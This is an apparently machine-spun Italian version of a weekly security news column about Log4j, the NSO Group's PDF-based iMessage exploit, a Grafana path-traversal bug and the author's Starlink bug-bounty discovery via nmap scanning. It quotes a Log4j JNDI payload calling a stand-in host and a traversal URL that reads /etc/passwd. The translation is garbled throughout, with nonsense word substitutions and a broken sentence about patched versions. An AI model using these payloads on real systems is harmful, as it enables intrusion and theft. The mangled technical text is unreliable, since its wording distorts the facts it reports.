Questa settimana in sicurezza: LOG4J, PDF CPU, così come ho hackerato Starlink

L’enorme notizia questa settimana è Log4j, rompendo solo poche ore anche per essere inclusa nella colonna della scorsa settimana. Le persone stanno già chiedendo se questa è la vulnerabilità più seria di sempre, così come sembra che sia almeno nella corsa. Il bug è stato trovato per la prima volta dagli esperti di sicurezza ad Alibaba, che ha notificato Apache del difetto il 24 novembre. CloudFlare ha tirato i loro dati, oltre a scoprire le prove della vulnerabilità in natura presto come il 1 ° dicembre. Questi primi esempi sono estremamente sparsi e estremamente mirati, sufficienti per farmi una domanda se non erano ricercatori che facevano parte della divulgazione preliminare facendo ulteriori studi di ricerca sul problema. Indipendentemente dal 9 dicembre, un individuo di Twitter ha twittato i dettagli della vulnerabilità, così come l’inferno di sicurezza si è sciolto. Nove minuti dopo il tweet, la sega CloudFlare ha tentato di nuovo Exploit, così come entro otto ore, hanno a che fare con 20.000 tentativi di sfruttamento al minuto.

Questa è la cronologia, tuttavia cosa sta succedendo con lo exploit, così come perché è così brutto? Innanzitutto, il bundle vulnerabile è Log4j, una libreria di registrazione per Java. Consente ai processi di ottenere messaggi di registro in cui requisiti di andare, tuttavia con un sacco di campane e fischietti inclusi. Una di quelle caratteristiche è il supporto per il JNDI, un problema di sicurezza compreso in Java. Una richiesta JNDI può portare a un attacco di deserializzazione, in cui un flusso di dati in entrata è malformato in modo malformato, comportarsi male quando viene ampliato in un oggetto. Non è stato pensato per quelle ricerche JNDI da eseguire in Internet, tuttavia non c’era un’ispezione esplicita per questo comportamento, così proprio qui siamo.

Il pensiero finale è che se è possibile attivare un registro Compose con LOG4J che include $ {JNDI: LDAP: //example.com/a}, puoi eseguire il codice arbitrario su quella macchina. I ricercatori e i criminali hanno già inventato metodi innovativi per gestire che, come includere la stringa in un organisso-agente o un nome molto. Sì, è il ritorno del bit bobby tables.log4j 2.16.0. 2.15.0 conteneva una correzione parziale, tuttavia non si liberava completamente del problema. Un java aggiornato ha anche alterato un’impostazione predefinita, fornendo la mitigazione parziale. Tuttavia molto probabilmente non abbiamo ancora visto la fine di questo ancora.

NSO nonché la CPU emulata in un PDF

Se fosse stato qualcuno diverso dal lavoro di Google Zero raccontando questa storia, lo avrei saltato come un povero dispositivo di trama di Hollywood. Questa vulnerabilità è nell’app IOS IMessage, così come esattamente come gestisce i dati .gif che contengono davvero dati PDF. I PDF sono flessibili, per metterlo moderatamente. Uno dei possibili stili di codifica è JBIG2, un codec di compressione nero e nero nonché bianco dal 2000. Parte del codec è la capacità di utilizzare gli operatori booleani e, o, Xor, oltre a xnor per rappresentare minori differenze tra blocchi compressi. Un overflow intero nel codice di decompressione consente di pensare molto più memoria sull’uscita valida per la decompressione, il che significa che il codice di decompressione può eseguire tali operatori booleani su quella memoria aggiuntiva.

Ora cosa ottieni quando hai un sacco di memoria così come quei quattro operatori? Una CPU totale di Turing, ovviamente. Sì, i ricercatori del Gruppo NSO hanno veramente sviluppato una CPU online in una routine di decodifica PDF, oltre a utilizzare quella piattaforma per bootstrappare la loro fuga di sandbox. È folle, incredibile, così come brillante. [Ed Nota: così povera il gruppo NSO è essenzialmente il male.]

GRAFANA PATH Traversal.

La piattaforma di visualizzazione Grafana ha appena recentemente risolto un problema serio, CVE-2021-43798. Questa vulnerabilità consente di traversare del percorso tramite le cartelle del plugin. Quindi, ad esempio, /public/plugins/alertlist/../../../../../../../../etc/passwd restituirebbe i dati passwd da un server Linux. Gli aggiornamenti che fissano questo problema sono stati rilasciati il ​​7 dicembre. Questo bug era davvero un giorno di 0 giorni per alcuni giorni, poiché è stato discusso sul terzo pubblico, tuttavia sconosciuto al Grafana Devs. ispezionare il loro postmortem per i dettagli.

Starlink.

E infine, ho qualche studio di ricerca originale da coprire. Potresti avere familiarità con il mio lavoro che copre il sistema Web StarLink Satellite. Parte dell’impeto per l’acquisto e il mantenimento di StarLink doveva fare uno studio sulla ricerca sulla sicurezza sulla piattaforma, così come quell’obiettivo che ha infastidito un po ‘di frutta – al melodia di $ 4,800. Ecco la storia.

Ho un amico vicino a cui utilizza anche Starlink, oltre al 7 dicembre, abbiamo scoperto che era stato assegnato entrambi un indirizzo IPv4 instradabile pubblicamente. Esattamente come funziona il routing di Starlink tra gli abbonati? Il traffico web invierebbe dalla mia rete al suo diretto direttamente sul satellite, o ogni pacchetto dovrebbe rimbalzare dal satellite, con Spacex’s Stuert Station, torna all’uccello, così come per poi tornare a me? Traceroute è uno strumento meraviglioso, oltre a rispondere alla domanda:

Traceroute a 98.97.92.x (98.97.92.x), 30 hops max, 46 byte pacchetti
1 cliente.dllstxx1.pop.starlinkisp.net (98.97.80.1) 25.830 ms 24.020 ms 23.082 ms
2 172.16.248.6 (172.16.248.6) 27.783 ms 23.973 ms 27.363 ms
3 172.16.248.21 (172.16.248.21) 23.728 ms 26.880 ms 28.299 ms
4 indefinito.hostname.localhost (98.97.92.x) 59.220 ms 51.474 ms 51.877 ms

Non abbiamo capito con precisione ciò che ogni hop fosse, tuttavia il numero di luppoli e la latenza di ogni rende relativamente rimuovi che il nostro traffico web stava andando con una stazione di terra. Comunque c’è qualcosa di strano di questo traceroute. L’hai trovata? 172.16.x.y è una rete personale, secondo RFC1918. La verità che si presenta in un traceroute significa che il mio router OpenWrrt e i dispositivi StarLink sono effettivamente rottando dal mio desktop a quell’indirizzo. Ora ho scoperto questo genere di cose prima, in una diversa rete ISP. Comprendere che questo potrebbe essere interessante, ho introdotto Nmap e ho scansionato gli IP personali che si sono presentati nel Traceroute. Bingo.

172.16.248.6 è stato bloccato correttamente, tuttavia 172.16.248.21 ha mostrato porte aperte. Vale a dire, porti 179, 9100, 9101, così come 50051. Nmap creduto 179 era BGP, che suonava a destra. Comunque il resto di loro? Telnet. Ero relativamente positivo che nessuno di questi è stato davvero servizi di telnet, tuttavia è un inizio fantastico quando si cerca di determinare un servizio sconosciuto. Questa non è stata eccezione. Porte 9100 e 9101 mi hanno detto che avevo fatto una cattiva richiesta, lanciando errori 400. Ah, erano servizi http! Tirare sia in un browser Web mi ha fornito un’uscita di debug che sembrava da un server flacone Python.

Quell’ultimo porto, 50051, era interessante. L’unico servizio che potrei scoprire che normalmente è stato eseguito c’era il GRPC di Google, un protocollo di chiamata telefonica di procedura remota. GRPC_CLI è tornato utile per verificare che fosse quello che avevo trovato. Sfortunatamente la riflessione è stata disabilitata, il che significa che il servizio ha rifiutato di enumerare i comandi che ha supportato. Mappatura Qualsiasi tipo di comandi avrebbe bisogno di lanciare molti dati in quella porta.

A questo punto, ho iniziato a mettere in discussione con precisione su quale pezzo di hardware stavo parlando. Ha fatto BGP, era interiore alla rete di Starlink, così come il mio traffico web stava rottando con esso. Potrebbe essere un satellite? Molto probabilmente no, tuttavia la bounty di Bug StarLink è completamente rimozione su cosa dovrebbe venire dopo. In nessuna circostanza dovrebbe un ricercatore fare test online su un satellite o altre infrastrutture cruciali. Sospettavo che stavo parlando a parte della loro infrastruttura di routing, molto probabilmente nella stazione di terra di Dallas. Ad ogni modo, poker così difficile oltre a rompere qualcosa era accigliato, quindi ho composto la divulgazione su ciò che avevo trovato.

Gli ingegneri di Starlink avevano i porti chiusi entro dodici ore del rapporto, oltre a mi ha chiesto di ricontrollare il loro triage. Abbastanza sicuro, mentre potrei ancora ping l’IPS personale, nessuna porta era aperta. Proprio qui è dove devo credere la storia dei ragazzi che eseguono Spacex’s StarLink Bug Bounty. Potrebbero aver chiamato questa semplice divulgazione di informazioni, pagata a poche centinaia di dollari, così come la chiamato al giorno. Invece, hanno preso il tempo di indagare e verificato che avevo effettivamente trovato un porto aperto GRPC, così come poi ha lasciato cadere la Bombshell che era un endpoint non autenticato. La scoperta ha compensato un premio preliminare di $ 3.800, oltre a una ricompensa $ 1.000 per un rapporto completo e non si schiantano i loro sistemi online. Mentre il mio compagno regionale ha messo scherzosamente, è una grande quantità di denaro per l’esecuzione di Nmap.

Sì, ci fu un po ‘di fortuna coinvolto, integrato con un’intera grande quantità di esperienza precedente con le stranezze di rete. Il takeaway primario dovrebbe essere che lo studio della ricerca sulla sicurezza non deve sempre essere la super difficile vulnerabilità e lo sviluppo dello sfruttamento. Non devi sviluppare un sistema completo di Turing in un PDF. A volte è solo IP e la scansione portuale, integrata con persistenza e un po ‘di fortuna. Infatti, se il tuo ISP ha un programma di bug Bounty, puoi provare a collegare una macchina Linux direttamente nel modem, oltre a scansione dell’intervallo IP personale. tieni gli occhi aperti. Anche tu puoi scoprire qualcosa di interessante.